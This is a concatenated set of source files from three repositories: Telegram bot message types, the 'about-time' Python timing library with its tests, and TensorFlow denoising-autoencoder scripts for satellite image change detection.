check_json(json_type): """ Checks whether json_type is a dict or a string. If it is already a dict, it is returned as-is. If it is not, it is converted to a dict by means of json.loads(json_type) :param json_type: :return: """ if type(json_type) == dict: return json_type elif type(json_type) == str: return json.loads(json_type) else: raise ValueError("json_type should be a json dict or string.") class User(JsonDeserializable): @classmethod def de_json(cls, json_string): obj = cls.check_json(json_string) id = obj['id'] first_name = obj['first_name'] last_name = None username = None if 'last_name' in obj: last_name = obj['last_name'] if 'username' in obj: username = obj['username'] return User(id, first_name, last_name, username) def __init__(self, id, first_name, last_name=None, username=None): self.id = id self.first_name = first_name self.username = username self.last_name = last_name class GroupChat(JsonDeserializable): @classmethod def de_json(cls, json_string): obj = cls.check_json(json_string) id = obj['id'] title = obj['title'] return GroupChat(id, title) def __init__(self, id, title): self.id = id self.title = title class Message(JsonDeserializable): @classmethod def de_json(cls, json_string): obj = cls.check_json(json_string) message_id = obj['message_id'] from_user = User.de_json(obj['from']) chat = Message.parse_chat(obj['chat']) date = obj['date'] content_type = None opts = {} if 'forward_from' in obj: opts['forward_from'] = User.de_json(obj['forward_from']) if 'forward_date' in obj: opts['forward_date'] = obj['forward_date'] if 'reply_to_message' in obj: opts['reply_to_message'] = Message.de_json(obj['reply_to_message']) if 'text' in obj: opts['text'] = obj['text'] content_type = 'text' if 'audio' in obj: opts['audio'] = Audio.de_json(obj['audio']) content_type = 'audio' if 'document' in obj: opts['document'] = Document.de_json(obj['document']) content_type = 'document' if 'photo' in obj: opts['photo'] = Message.parse_photo(obj['photo']) content_type = 'photo' if 'sticker' in obj: opts['sticker'] = Sticker.de_json(obj['sticker']) content_type = 'sticker' if 'video' in obj: opts['video'] = Video.de_json(obj['video']) content_type = 'video' if 'location' in obj: opts['location'] = Location.de_json(obj['location']) content_type = 'location' if 'contact' in obj: opts['contact'] = Contact.de_json(json.dumps(obj['contact'])) content_type = 'contact' if 'new_chat_participant' in obj: opts['new_chat_participant'] = User.de_json(obj['new_chat_participant']) content_type = 'new_chat_participant' if 'left_chat_participant' in obj: opts['left_chat_participant'] = User.de_json(obj['left_chat_participant']) content_type = 'left_chat_participant' if 'new_chat_title' in obj: opts['new_chat_title'] = obj['new_chat_title'] content_type = 'new_chat_title' if 'new_chat_photo' in obj: opts['new_chat_photo'] = obj['new_chat_photo'] content_type = 'new_chat_photo' if 'delete_chat_photo' in obj: opts['delete_chat_photo'] = obj['delete_chat_photo'] content_type = 'delete_chat_photo' if 'group_chat_created' in obj: opts['group_chat_created'] = obj['group_chat_created'] content_type = 'group_chat_created' if 'caption' in obj: opts['caption'] = obj['caption'] return Message(message_id, from_user, date, chat, content_type, opts) @classmethod def parse_chat(cls, chat): if 'first_name' not in chat: return GroupChat.de_json(chat) else: return User.de_json(chat) @classmethod def parse_photo(cls, photo_size_array): ret = [] for ps in photo_size_array: ret.append(PhotoSize.de_json(ps)) return ret def __init__(self, message_id, from_user, date, chat, content_type, options): self.chat = chat self.date = date self.from_user = from_user self.message_id = message_id self.content_type = content_type for key in options: setattr(self, key, options[key]) class PhotoSize(JsonDeserializable): @classmethod def de_json(cls, json_string): obj = cls.check_json(json_string) file_id = obj['file_id'] width = obj['width'] height = obj['height'] file_size = None if 'file_size' in obj: file_size = obj['file_size'] return PhotoSize(file_id, width, height, file_size) def __init__(self, file_id, width, height, file_size=None): self.file_size = file_size self.height = height self.width = width self.file_id = file_id class Audio(JsonDeserializable): @classmethod def de_json(cls, json_string): obj = cls.check_json(json_string) file_id = obj['file_id'] duration = obj['duration'] mime_type = None file_size = None if 'mime_type' in obj: mime_type = obj['mime_type'] if 'file_size' in obj: file_size = obj['file_size'] return Audio(file_id, duration, mime_type, file_size) def __init__(self, file_id, duration, mime_type=None, file_size=None): self.file_id = file_id self.duration = duration self.mime_type = mime_type self.file_size = file_size class Document(JsonDeserializable): @classmethod def de_json(cls, json_string): obj = cls.check_json(json_string) file_id = obj['file_id'] thumb = None if 'thumb' in obj: if 'file_id' in obj['thumb']: thumb = PhotoSize.de_json(obj['thumb']) file_name = None mime_type = None file_size = None if 'file_name' in obj: file_name = obj['file_name'] if 'mime_type' in obj: mime_type = obj['mime_type'] if 'file_size' in obj: file_size = obj['file_size'] return Document(file_id, thumb, file_name, mime_type, file_size) def __init__(self, file_id, thumb, file_name=None, mime_type=None, file_size=None): self.file_id = file_id self.thumb = thumb self.file_name = file_name self.mime_type = mime_type self.file_size = file_size class Sticker(JsonDeserializable): @classmethod def de_json(cls, json_string): obj = cls.check_json(json_string) file_id = obj['file_id'] width = obj['width'] height = obj['height'] thumb = None if 'thumb' in obj: thumb = PhotoSize.de_json(obj['thumb']) file_size = None if 'file_size' in obj: file_size = obj['file_size'] return Sticker(file_id, width, height, thumb, file_size) def __init__(self, file_id, width, height, thumb, file_size=None): self.file_id = file_id self.width = width self.height = height self.thumb = thumb self.file_size = file_size class Video(JsonDeserializable): @classmethod def de_json(cls, json_string): obj = cls.check_json(json_string) file_id = obj['file_id'] width = obj['width'] height = obj['height'] duration = obj['duration'] thumb = None mime_type = None file_size = None if 'thumb' in obj: thumb = PhotoSize.de_json(obj['thumb']) if 'mime_type' in obj: mime_type = obj['mime_type'] if 'file_size' in obj: file_size = obj['file_size'] return Video(file_id, width, height, duration, thumb, mime_type, file_size) def __init__(self, file_id, width, height, duration, thumb=None, mime_type=None, file_size=None): self.file_id = file_id self.width = width self.height = height self.duration = duration self.thumb = thumb self.mime_type = mime_type self.file_size = file_size class Contact(JsonDeserializable): @classmethod def de_json(cls, json_string): obj = cls.check_json(json_string) phone_number = obj['phone_number'] first_name = obj['first_name'] last_name = None user_id = None if 'last_name' in obj: last_name = obj['last_name'] if 'user_id' in obj: user_id = obj['user_id'] return Contact(phone_number, first_name, last_name, user_id) def __init__(self, phone_number, first_name, last_name=None, user_id=None): self.phone_number = phone_number self.first_name = first_name self.last_name = last_name self.user_id = user_id class Location(JsonDeserializable): @classmethod def de_json(cls, json_string): obj = cls.check_json(json_string) longitude = obj['longitude'] latitude = obj['latitude'] return Location(longitude, latitude) def __init__(self, longitude, latitude): self.longitude = longitude self.latitude = latitude class UserProfilePhotos(JsonDeserializable): @classmethod def de_json(cls, json_string): obj = cls.check_json(json_string) total_count = obj['total_count'] photos = [[PhotoSize.de_json(y) for y in x] for x in obj['photos']] return UserProfilePhotos(total_count, photos) def __init__(self, total_count, photos): self.total_count = total_count self.photos = photos class ForceReply(JsonSerializable): def __init__(self, selective=None): self.selective = selective def to_json(self): json_dict = {'force_reply': True} if self.selective: json_dict['selective'] = True return json.dumps(json_dict) class ReplyKeyboardHide(JsonSerializable): def __init__(self, selective=None): self.selective = selective def to_json(self): json_dict = {'hide_keyboard': True} if self.selective: json_dict['selective'] = True return json.dumps(json_dict) class ReplyKeyboardMarkup(JsonSerializable): def __init__(self, resize_keyboard=None, one_time_keyboard=None, selective=None, row_width=3): self.resize_keyboard = resize_keyboard self.one_time_keyboard = one_time_keyboard self.selective = selective self.row_width = row_width self.keyboard = [] def add(self, *args): """ This function adds strings to the keyboard, while not exceeding row_width. E.g. ReplyKeyboardMarkup#add("A", "B", "C") yields the json result {keyboard: [["A"], ["B"], ["C"]]} when row_width is set to 1. When row_width is set to 2, the following is the result of this function: {keyboard: [["A", "B"], ["C"]]} See https://core.telegram.org/bots/api#replykeyboardmarkup :param args: strings to append to the keyboard """ i = 1 row = [] for string in args: row.append(string) if i % self.row_width == 0: self.keyboard.append(row) row = [] i += 1 if len(row) > 0: self.keyboard.append(row) def row(self, *args): """ Adds a list of strings to the keyboard. This function does not consider row_width. ReplyKeyboardMarkup#row("A")#row("B", "C")#to_json() outputs '{keyboard: [["A"], ["B", "C"]]}' See https://core.telegram.org/bots/api#replykeyboardmarkup :param args: strings :return: self, to allow function chaining. """ self.keyboard.append(args) return self def to_json(self): """ Converts this object to its json representation following the Telegram API guidelines described here: https://core.telegram.org/bots/api#replykeyboardmarkup :return: """ json_dict = {'keyboard': self.keyboard} if self.one_time_keyboard: json_dict['one_time_keyboard'] = True if self.resize_keyboard: json_dict['resize_keyboard'] = True if self.selective: json_dict['selective'] = True return json.dumps(json_dict)
[ "/SpammerBot.py", "/config.py", "/telebot/__init__.py", "/telebot/apihelper.py", "/telebot/types.py" ]
0therGuys/about-time
# coding=utf-8 from __future__ import absolute_import, division, unicode_literals import sys from .core import about_time from .human import duration_human, throughput_human VERSION = (3, 1, 1) __author__ = 'Rogério Sampaio de Almeida' __email__ = 'rsalmei@gmail.com' __version__ = '.'.join(map(str, VERSION)) __all__ = ('__author__', '__version__', 'about_time', 'duration_human', 'throughput_human') if sys.version_info < (3,): # pragma: no cover __all__ = [bytes(x) for x in __all__] --- FILE SEPARATOR --- # coding=utf-8 from __future__ import absolute_import, division, unicode_literals import sys import time from contextlib import contextmanager from . import human if sys.version_info >= (3, 3): timer = time.perf_counter else: # pragma: no cover timer = time.time def about_time(func_or_it=None, *args, **kwargs): """Measure timing and throughput of code blocks, with beautiful human friendly representations. There're three modes of operation: context manager, callable and throughput. 1. Use it like a context manager: >>> with about_time() as at: .... # code block. 2. Use it with a callable: >>> at = about_time(func, arg1, kwarg2=arg2) # send arguments at will. 3. Use it with an iterable or generator: >>> at = about_time(items) >>> for item in at: .... # use item """ timings = [0.0, 0.0] # use as a context manager. if func_or_it is None: return _context_timing(timings, Handle(timings)) # use as a callable. if callable(func_or_it): with _context_timing(timings): result = func_or_it(*args, **kwargs) return HandleResult(timings, result) try: it = iter(func_or_it) except TypeError: raise UserWarning('param should be callable or iterable.') # use as a counter/throughput iterator. def it_closure(): with _context_timing(timings): for it_closure.count, elem in enumerate(it, 1): # iterators are iterable. yield elem it_closure.count = 0 # the count will only be updated after starting iterating. return HandleStats(timings, it_closure) @contextmanager def _context_timing(timings, handle=None): timings[0] = timer() yield handle timings[1] = timer() class Handle(object): def __init__(self, timings): self.__timings = timings @property def duration(self): """Return the actual duration in seconds. This is dynamically updated in real time. Returns: float: the number of seconds. """ return (self.__timings[1] or timer()) - self.__timings[0] @property def duration_human(self): """Return a beautiful representation of the duration. It dynamically calculates the best unit to use. Returns: str: the duration representation. """ return human.duration_human(self.duration) class HandleResult(Handle): def __init__(self, timings, result): super(HandleResult, self).__init__(timings) self.__result = result @property def result(self): """Return the result of the callable. Returns: the result of the callable. """ return self.__result class HandleStats(Handle): def __init__(self, timings, it_closure): super(HandleStats, self).__init__(timings) self.__it = it_closure def __iter__(self): return self.__it() @property def count(self): """Return the current iteration count. This is dynamically updated in real time. Returns: int: the current iteration count. """ return self.__it.count @property def throughput(self): """Return the current throughput in items per second. This is dynamically updated in real time. Returns: float: the number of items per second. """ try: return self.count / self.duration except ZeroDivisionError: # pragma: no cover return float('nan') @property def throughput_human(self): """Return a beautiful representation of the current throughput. It dynamically calculates the best unit to use. Returns: str: the duration representation. """ return human.throughput_human(self.throughput) --- FILE SEPARATOR --- from datetime import timedelta DURATION_HUMAN_SPEC = ( (1.e-6, 1e9, 1e3, 'ns'), (1.e-3, 1e6, 1e3, 'us'), (1., 1e3, 1e3, 'ms'), (60., 1e0, 60., 's'), ) def duration_human(value): """Return a beautiful representation of the duration. It dynamically calculates the best unit to use. Returns: str: the duration representation. """ for top, mult, size, unit in DURATION_HUMAN_SPEC: if value < top: result = round(value * mult, ndigits=2) if result < size: return '{}{}'.format(result, unit) txt = str(timedelta(seconds=float('{:.1f}'.format(value)))) pos = txt.find('.') if pos == -1: return txt return txt[:pos + 2] THROUGHPUT_HUMAN_SPEC = ( (1. / 60 / 24, 60 * 60 * 24, 24, '/d'), (1. / 60, 60 * 60, 60, '/h'), (1., 60, 60, '/m'), (float('inf'), 1, float('inf'), '/s'), ) def throughput_human(value): """Return a beautiful representation of the current throughput. It dynamically calculates the best unit to use. Returns: str: the duration representation. """ for top, mult, size, unit in THROUGHPUT_HUMAN_SPEC: if value < top: result = round(value * mult, ndigits=2) if result < size: return '{}{}'.format(result, unit) return '?' --- FILE SEPARATOR --- # coding=utf-8 from __future__ import absolute_import, division, unicode_literals import random from datetime import datetime from decimal import Decimal from itertools import chain, repeat, tee try: from unittest import mock except ImportError: import mock import pytest from about_time import about_time, duration_human, throughput_human from about_time.core import Handle, HandleStats @pytest.fixture def rand_offset(): return random.random() * 1000 @pytest.fixture def mock_timer(): with mock.patch('about_time.core.timer') as mt: yield mt def test_duration_context_manager_mode(rand_offset, mock_timer): start, end = 1.4 + rand_offset, 2.65 + rand_offset mock_timer.side_effect = start, end with about_time() as at: pass assert at.duration == pytest.approx(end - start) def test_duration_callable_mode(rand_offset, mock_timer): start, end = 1.4 + rand_offset, 2.65 + rand_offset mock_timer.side_effect = start, end at = about_time(lambda: 1) assert at.duration == pytest.approx(end - start) def test_duration_counter_throughput_mode(rand_offset, mock_timer): start, end = 1.4 + rand_offset, 2.65 + rand_offset mock_timer.side_effect = start, end at = about_time(range(2)) for _ in at: pass assert at.duration == pytest.approx(end - start) @pytest.mark.parametrize('call, args, kwargs, expected', [ (lambda: 123, (), {}, 123), (str, (), {}, ''), (list, (), {}, []), (lambda x: x + 1, (123,), {}, 124), (str, ('cool',), {}, 'cool'), (list, ((1, 2, 3),), {}, [1, 2, 3]), (lambda x: x + 1, (), {'x': 123}, 124), ]) def test_callable_mode_result(call, args, kwargs, expected): at = about_time(call, *args, **kwargs) assert at.result == expected @pytest.mark.parametrize('it', [ [], [1, 2, 3], range(0), range(12), 'string', (x ** 2 for x in range(8)), ]) def test_counter_throughput_mode(it, rand_offset, mock_timer): start, end = 1.4 + rand_offset, 2.65 + rand_offset mock_timer.side_effect = chain((start,), repeat(end)) it_see, it_copy = tee(it) at = about_time(it_see) assert at.count == 0 # count should work even before starting iterating. i = 0 for i, elem in enumerate(at, 1): assert elem == next(it_copy) assert at.count == i # count works in real time now! assert at.duration > 0 # ensure the timing ending is also updated in real time. assert at.throughput == pytest.approx(i / 1.25) @pytest.mark.parametrize('field', [ 'result', 'count', 'throughput', 'throughput_human', ]) def test_context_manager_mode_dont_have_field(field): with about_time() as at: pass with pytest.raises(AttributeError): getattr(at, field) @pytest.mark.parametrize('field', [ 'count', 'throughput', 'throughput_human', ]) def test_callable_mode_dont_have_field(field): at = about_time(lambda: 1) with pytest.raises(AttributeError): getattr(at, field) @pytest.mark.parametrize('field', [ 'result', ]) def test_counter_throughput_mode_dont_have_field(field): at = about_time(range(2)) with pytest.raises(AttributeError): getattr(at, field) @pytest.mark.parametrize('value', [ 123, .1, object(), datetime.now(), Decimal(), ]) def test_wrong_params_must_complain(value): with pytest.raises(UserWarning): about_time(value) def test_handle_duration_human(): h = Handle([1, 2]) with mock.patch('about_time.human.duration_human') as mdh: assert h.duration_human # the mock is returned. mdh.assert_called_once_with(1) def test_handle_throughput_human(): def it_closure(): pass it_closure.count = 1 h = HandleStats([1, 2], it_closure) with mock.patch('about_time.human.throughput_human') as mth: assert h.throughput_human # the mock is returned. mth.assert_called_once_with(1) @pytest.mark.parametrize('duration, expected', [ (.00000000123, '1.23ns'), (.00000000185, '1.85ns'), (.000000001855, '1.85ns'), (.0000000018551, '1.86ns'), (.000001, '1.0us'), (.000000999996, '1.0us'), (.00001, '10.0us'), (.0000156, '15.6us'), (.01, '10.0ms'), (.0141233333333, '14.12ms'), (.0199999, '20.0ms'), (.1099999, '110.0ms'), (.1599999, '160.0ms'), (.8015, '801.5ms'), (3.434999, '3.43s'), (3.435999, '3.44s'), (59.99, '59.99s'), (59.999, '0:01:00'), (60.0, '0:01:00'), (68.5, '0:01:08.5'), (68.09, '0:01:08.1'), (60.99, '0:01:01'), (125.825, '0:02:05.8'), (4488.395, '1:14:48.4'), ]) def test_duration_human(duration, expected): assert duration_human(duration) == expected @pytest.mark.parametrize('duration, count, expected', [ (float('nan'), 1, '?'), (1., 1, '1.0/s'), (1., 10, '10.0/s'), (1., 2500, '2500.0/s'), (1., 1825000, '1825000.0/s'), (5.47945205e-07, 1, '1825000.0/s'), (2., 1, '30.0/m'), (2., 10, '5.0/s'), (2., 11, '5.5/s'), (1.981981981981982, 11, '5.55/s'), (100., 10, '6.0/m'), (100., 3, '1.8/m'), (110., 8, '4.36/m'), (1600., 3, '6.75/h'), (67587655435., 5432737542, '4.82/m'), (67587655435., 543273754, '28.94/h'), (67587655435., 543273754271, '8.04/s'), (.99, 1, '1.01/s'), (.999, 1, '1.0/s'), (1.00001, 1, '1.0/s'), (1.0001, 1, '59.99/m'), (1165263., 123, '9.12/d'), (3600., 1, '1.0/h'), (3601., 1, '23.99/d'), (80000., 2, '2.16/d'), ]) def test_throughput_human(duration, count, expected): assert throughput_human(count / duration) == expected
[ "/about_time/__init__.py", "/about_time/core.py", "/about_time/human.py", "/tests/test_about_time.py" ]
0uMuMu0/DAE-For-TianChi
# coding=utf-8 import os import tensorflow as tf import numpy as np import matplotlib.pyplot as plt import input_data_dae from tensorflow.python.saved_model import builder as saved_model_builder from tensorflow.python.client import device_lib flags = tf.flags logging = tf.logging flags.DEFINE_integer('max_epoch', 10, '') flags.DEFINE_integer('size', 64, 'batch size') flags.DEFINE_integer('lr', 0.0005, 'learning rate') flags.DEFINE_integer('image_size', 32, 'picture size') flags.DEFINE_integer('channels', 4, '') flags.DEFINE_integer('noise_factor', 0.2, '') flags.DEFINE_string("model_path", "/tmp/DAE17_15_32/", "SaveModel path.") flags.DEFINE_string("model_version", 1, "the version of model") flags.DEFINE_string("save_path", "log_17_15_32/", "Model output directory.") FLAGS = flags.FLAGS def merge(images, size): h, w = images.shape[1], images.shape[2] img = np.zeros((h * size[0], w * size[1], 4)) for idx, image in enumerate(images): i = idx % size[1] j = idx // size[1] img[j * h:j * h + h, i * w:i * w + w, :] = image return img def get_compare_image(inputs, output, label, nums): h, w = inputs.shape[1], inputs.shape[2] images = np.zeros((h*4, w*nums, 4)) for i in range(nums): images[0:h, i*w:(i+1)*w, :] = inputs[i] for i in range(nums): images[1*h:2*h, i*w:(i+1)*w, :] = output[i] for i in range(nums): images[2*h:3*h, i*w:(i+1)*w, :] = label[i] return images # Input data, 输入的图片大小是32×32 x = tf.placeholder(tf.float32, [None, FLAGS.image_size, FLAGS.image_size, FLAGS.channels], name='inputs') # inputs y = tf.placeholder(tf.float32, [None, FLAGS.image_size, FLAGS.image_size, FLAGS.channels], name='targets') # targets # 加噪声,将部分输入变为0 mask = tf.placeholder(tf.float32, [None, FLAGS.image_size, FLAGS.image_size, FLAGS.channels], name="mask") # Model conv1 = tf.layers.conv2d(x, 64, (5, 5), padding='same', activation=tf.nn.relu) pool1 = tf.layers.max_pooling2d(conv1, (2, 2), (2, 2), padding='same') conv2 = tf.layers.conv2d(pool1, 64, (5, 5), padding='same', activation=tf.nn.relu) pool2 = tf.layers.max_pooling2d(conv2, (2, 2), (2, 2), padding='same') conv3 = tf.layers.conv2d(pool2, 64, (5, 5), padding='same', activation=tf.nn.relu) pool3 = tf.layers.max_pooling2d(conv3, (2, 2), (2, 2), padding='same') conv4_resize = tf.image.resize_nearest_neighbor(pool3, (8, 8)) conv5 = tf.layers.conv2d(conv4_resize, 64, (5, 5), padding='same', activation=tf.nn.relu) conv5_resize = tf.image.resize_nearest_neighbor(conv5, (16, 16)) conv6 = tf.layers.conv2d(conv5_resize, 64, (5, 5), padding='same', activation=tf.nn.relu) conv6_resize = tf.image.resize_nearest_neighbor(conv6, (32, 32)) conv7 = tf.layers.conv2d(conv6_resize, 64, (5, 5), padding='same', activation=tf.nn.relu) y_conv = tf.layers.conv2d(conv7, FLAGS.channels, (5, 5), padding='same', activation=None) outputs = tf.nn.sigmoid(y_conv) # create cost function loss = tf.reduce_mean(tf.nn.l2_loss(y_conv - y)) optimizer = tf.train.AdamOptimizer(FLAGS.lr).minimize(loss) sv = tf.train.Supervisor(logdir=FLAGS.save_path) config_proto = tf.ConfigProto(allow_soft_placement=False) test_2015, test_2017 = input_data_dae.test_data_32() with sv.managed_session(config=config_proto) as sess: plt.ion() for epoch in range(FLAGS.max_epoch): for step, (batch_x, batch_y)in enumerate(input_data_dae.dae_iterator_32(FLAGS.size)): # noisy_x = batch_x + np.random.randn(*batch_x.shape) # noisy_x = np.clip(noisy_x, 0.0, 1.0) _, y, l = sess.run([optimizer, y_conv, loss], feed_dict={x: batch_y, y: batch_x}) if step % 100 == 0: print("Epoch %d: at step %d, loss is %f" % (epoch, step, l)) plt.clf() plt.imshow(get_compare_image(batch_x[5:10], y[5:10], batch_y[5:10], 5)) # plt.imshow(merge(y, [8, 8])) plt.text(-2.0, -5.0, "Epoch %d: at step %d, loss is %f" % (epoch, step, l), fontdict={'size': 10}) plt.draw() plt.pause(0.1) if FLAGS.save_path: print("Saving model to %s." % FLAGS.save_path) sv.saver.save(sess, FLAGS.save_path, global_step=sv.global_step) print("Save successfully!") test_loss = sess.run(loss, feed_dict={x: test_2017, y: test_2015}) print("Epoch %d: test loss is %f" % (epoch, test_loss)) plt.ioff() plt.show() sess.graph._unsafe_unfinalize() # Export tensorflow serving export_path = os.path.join(tf.compat.as_bytes(FLAGS.model_path), tf.compat.as_bytes(str(FLAGS.model_version))) builder = saved_model_builder.SavedModelBuilder(export_path) prediction_inputs = {'input': tf.saved_model.utils.build_tensor_info(x)} prediction_outputs = {'output': tf.saved_model.utils.build_tensor_info(y_conv), 'mid_hidden': tf.saved_model.utils.build_tensor_info(pool3)} prediction_signature = tf.saved_model.signature_def_utils.build_signature_def( inputs=prediction_inputs, outputs=prediction_outputs, method_name=tf.saved_model.signature_constants.PREDICT_METHOD_NAME ) builder.add_meta_graph_and_variables(sess, [tf.saved_model.tag_constants.SERVING], signature_def_map={ 'predict_signature': prediction_signature, }) sess.graph.finalize() builder.save() print("Done export!") --- FILE SEPARATOR --- # coding=utf-8 import tensorflow as tf import numpy as np import input_data_minst as input_data flags = tf.flags flags.DEFINE_integer('max_epoch', 100, '') flags.DEFINE_integer('batch_size', 64, '') flags.DEFINE_integer('lr', 0.02, 'learning rate') flags.DEFINE_integer('image_size', 28, 'picture size') flags.DEFINE_integer('n_hidden', 500, 'hidden size') flags.DEFINE_integer('corruption_level', 0.3, '') FLAGS = flags.FLAGS image_size = FLAGS.image_size n_visible = image_size * image_size n_hidden = FLAGS.n_hidden corruption_level = FLAGS.corruption_level # 输入的minst图片大小是28*28 x = tf.placeholder("float", [None, n_visible], name='x_2015') # 用于将部分输入数据置为0 mask = tf.placeholder("float", [None, n_visible], name="mask") W_init_max = 4*np.sqrt(6. / (n_visible + n_hidden)) W_init = tf.random_uniform(shape=[n_visible, n_hidden], minval=-W_init_max, maxval=W_init_max) # encoder w = tf.Variable(W_init, name='weights') b = tf.Variable(tf.zeros(shape=[n_hidden]), name='bias') # decoder w_prime = tf.transpose(w) b_prime = tf.Variable(tf.zeros(shape=[n_visible]), name='bias_prime') def model(x, mask, w, b, w_prime, b_prime): corrupted_x = mask * x y = tf.nn.sigmoid(tf.matmul(corrupted_x, w) + b) # hidden state z = tf.nn.sigmoid(tf.matmul(y, w_prime) + b_prime) # reconstructed input return z # build model graph z = model(x, mask, w, b, w_prime, b_prime) # create cost function cost = tf.reduce_sum(tf.square(x - z)) train_op = tf.train.AdamOptimizer(FLAGS.lr).minimize(cost) # load dataset mnist = input_data.read_data_sets("MNIST_data/", one_hot=True) train_x, train_y, test_x, test_y = mnist.train.images, mnist.train.labels, mnist.test.images, mnist.test.labels init_op = tf.global_variables_initializer() # launch the graph in a session with tf.Session() as sess: sess.run(init_op) for epoch in range(FLAGS.max_epoch): for start, end in zip(range(0, len(train_x)-1, FLAGS.batch_size), range(FLAGS.batch_size, len(train_x), FLAGS.batch_size)): batch_x = train_x[start:end] mask_np = np.random.binomial(1, 1-FLAGS.corruption_level, batch_x.shape) sess.run(train_op, feed_dict={x: batch_x, mask: mask_np}) mask_np = np.random.binomial(1, 1-FLAGS.corruption_level, test_x.shape) print(epoch, sess.run(cost, feed_dict={x: test_x, mask: mask_np})) --- FILE SEPARATOR --- # coding=utf-8 from __future__ import print_function import pickle from grpc.beta import implementations import numpy as np import tensorflow as tf import pandas as pd import tifffile as tiff import random from tensorflow_serving.apis import predict_pb2 from tensorflow_serving.apis import prediction_service_pb2 tf.app.flags.DEFINE_string('dae_server', 'localhost:6007', 'predictionService host:port') tf.app.flags.DEFINE_string('fc_server', 'localhost:6008', 'predictionService host:port') tf.app.flags.DEFINE_integer('image_size', 16, '') tf.app.flags.DEFINE_integer('channels', 4, '') tf.app.flags.DEFINE_integer('mid_hidden_size', 4*4*64, '') FLAGS = tf.app.flags.FLAGS FILE_2015 = '/home/zyt/data/TianChi/preliminary/quickbird2015.tif' FILE_2017 = '/home/zyt/data/TianChi/preliminary/quickbird2017.tif' def scale_percentile(matrix): w, h, d = matrix.shape matrix = np.reshape(matrix, [w*h, d]).astype(np.float32) # Get 2nd and 98th percentile mins = np.percentile(matrix, 0, axis=0) maxs = np.percentile(matrix, 100, axis=0) lens = maxs - mins if np.min(lens) == 0: return np.reshape(matrix, [w, h, d]) matrix = (matrix - mins[None, :]) / lens[None, :] matrix = np.reshape(matrix, [w, h, d]) matrix = matrix.clip(0, 1) return matrix def dae_server(raw_image): host, port = FLAGS.dae_server.split(':') channel = implementations.insecure_channel(host, int(port)) stub = prediction_service_pb2.beta_create_PredictionService_stub(channel) # Send request request = predict_pb2.PredictRequest() request.model_spec.name = 'dae' request.model_spec.signature_name = 'predict_signature' request.inputs['input'].CopyFrom(tf.contrib.util.make_tensor_proto(raw_image, shape=[1, FLAGS.image_size, FLAGS.image_size, FLAGS.channels])) result = stub.Predict(request, 10.0) return result.outputs['mid_hidden'].float_val def fc_server(x): host, port = FLAGS.fc_server.split(':') channel = implementations.insecure_channel(host, int(port)) stub = prediction_service_pb2.beta_create_PredictionService_stub(channel) # Send request request = predict_pb2.PredictRequest() request.model_spec.name = 'fc' request.model_spec.signature_name = 'predict_signature' request.inputs['input'].CopyFrom(tf.contrib.util.make_tensor_proto(x, shape=[1, FLAGS.mid_hidden_size*2])) # the size of input:[batch_size, mid_hidden_size*2] result = stub.Predict(request, 10.0) return result.outputs['output'].float_val def convert_image(im_2015, im_2017): w, h, d = im_2015.shape res_image = np.zeros(shape=[w, h], dtype=np.uint8) fc_input = np.zeros(shape=[2*FLAGS.mid_hidden_size], dtype=np.float32) # the size of processed image is 16 xLen = 0 yLen = 0 for xstart, xend in zip(range(0, w, 8), range(16, w, 8)): xLen += 1 for ystart, yend in zip(range(0, h, 8), range(16, h, 8)): yLen += 1 isChange = np.zeros(shape=[xLen, yLen]) xLen = 0 for xstart, xend in zip(range(0, w, 8), range(16, w, 8)): for ystart, yend in zip(range(0, h, 8), range(16, h, 8)): yLen = 0 image_2015 = np.array(scale_percentile(im_2015[xstart:xend, ystart:yend, :]), dtype=np.float32) image_2017 = np.array(scale_percentile(im_2017[xstart:xend, ystart:yend, :]), dtype=np.float32) hidden_2015 = dae_server(image_2015) hidden_2017 = dae_server(image_2017) fc_input[0:FLAGS.mid_hidden_size] = np.reshape(hidden_2015, [FLAGS.mid_hidden_size]) fc_input[FLAGS.mid_hidden_size:] = np.reshape(hidden_2017, [FLAGS.mid_hidden_size]) fc_output = np.array(fc_server(fc_input)) print("x at", xstart, "y at", ystart, "fc_output is", fc_output) if (fc_output - 0.85) > 0: print("x at", xstart, "y at", ystart, ", convert image.") res_image[xstart:xend, ystart:yend] = 1 isChange[xLen, yLen] = 1 yLen += 1 xLen += 1 # delete single 16*16 point for xstart, xend in zip(range(0+8, w-8, 8), range(16+8, w-8, 8)): for ystart, yend in zip(range(0+8, h-8, 8), range(16+8, h-8, 8)): if np.sum(res_image[xstart:xend, ystart:yend]) > 0: if np.sum(res_image[xstart-8:xend+8, ystart-8:yend+8]) - np.sum(res_image[xstart:xend, ystart:yend]) <= 0.01: res_image[xstart:xend, ystart:yend] = 0 if np.sum(res_image[xstart:xend, ystart:yend]) == 0: if np.sum(res_image[xstart-8:xend+8, ystart-8:yend+8]) >= (32*32-16*16-1): res_image[xstart:xend, ystart:yend] = 1 print("convert image successfully!") output_file = open("/home/zyt/data/TianChi/result/result1025_3.tif", "wb") tiff.imsave(output_file, res_image) output_file.close() print("save result successfully!") def main(_): im_2015 = np.array(tiff.imread(FILE_2015).transpose([1, 2, 0]), dtype=np.float32) im_2017 = np.array(tiff.imread(FILE_2017).transpose([1, 2, 0]), dtype=np.float32) convert_image(im_2015, im_2017) left_2015 = im_2015[0:600, 0:1000, :] left_2017 = im_2017[0:600, 0:1000, :] #convert_image(left_2015, left_2017) tiny_2015 = im_2015[600:2100, 9600:11300, :] tiny_2017 = im_2017[600:2100, 9600:11300, :] #convert_image(tiny_2015, tiny_2017) tiny_2015_1 = im_2015[2800:3500, 5600:6000, :] tiny_2017_1 = im_2017[2800:3500, 5600:6000, :] #convert_image(tiny_2015_1, tiny_2017_1) tiny_2015_2 = im_2015[600:1800, 10200:11200, :] tiny_2017_2 = im_2017[600:1800, 10200:11200, :] #convert_image(tiny_2015_2, tiny_2017_2) tiny_2015_3 = im_2015[4100:4700, 11400:12000, :] tiny_2017_3 = im_2017[4100:4700, 11400:12000, :] #convert_image(tiny_2015_3, tiny_2017_3) tiny_2015_4 = im_2015[4000:4800, 900:2100, :] tiny_2017_4 = im_2017[4000:4800, 900:2100, :] #convert_image(tiny_2015_4, tiny_2017_4) tiny_2015_5 = im_2015[400:800, 2500:3000, :] tiny_2017_5 = im_2017[400:800, 2500:3000, :] #convert_image(tiny_2015_5, tiny_2017_5) if __name__ == '__main__': tf.app.run() --- FILE SEPARATOR --- import tensorflow as tf import numpy as np import produce_images_by_dae import os import pickle import tifffile as tiff import random from tensorflow.python.saved_model import builder as saved_model_builder from tensorflow.python.client import device_lib flags = tf.flags flags.DEFINE_integer('hidden_size', 4*4*64, 'the hidden size of image(dae)') flags.DEFINE_string("data_path", 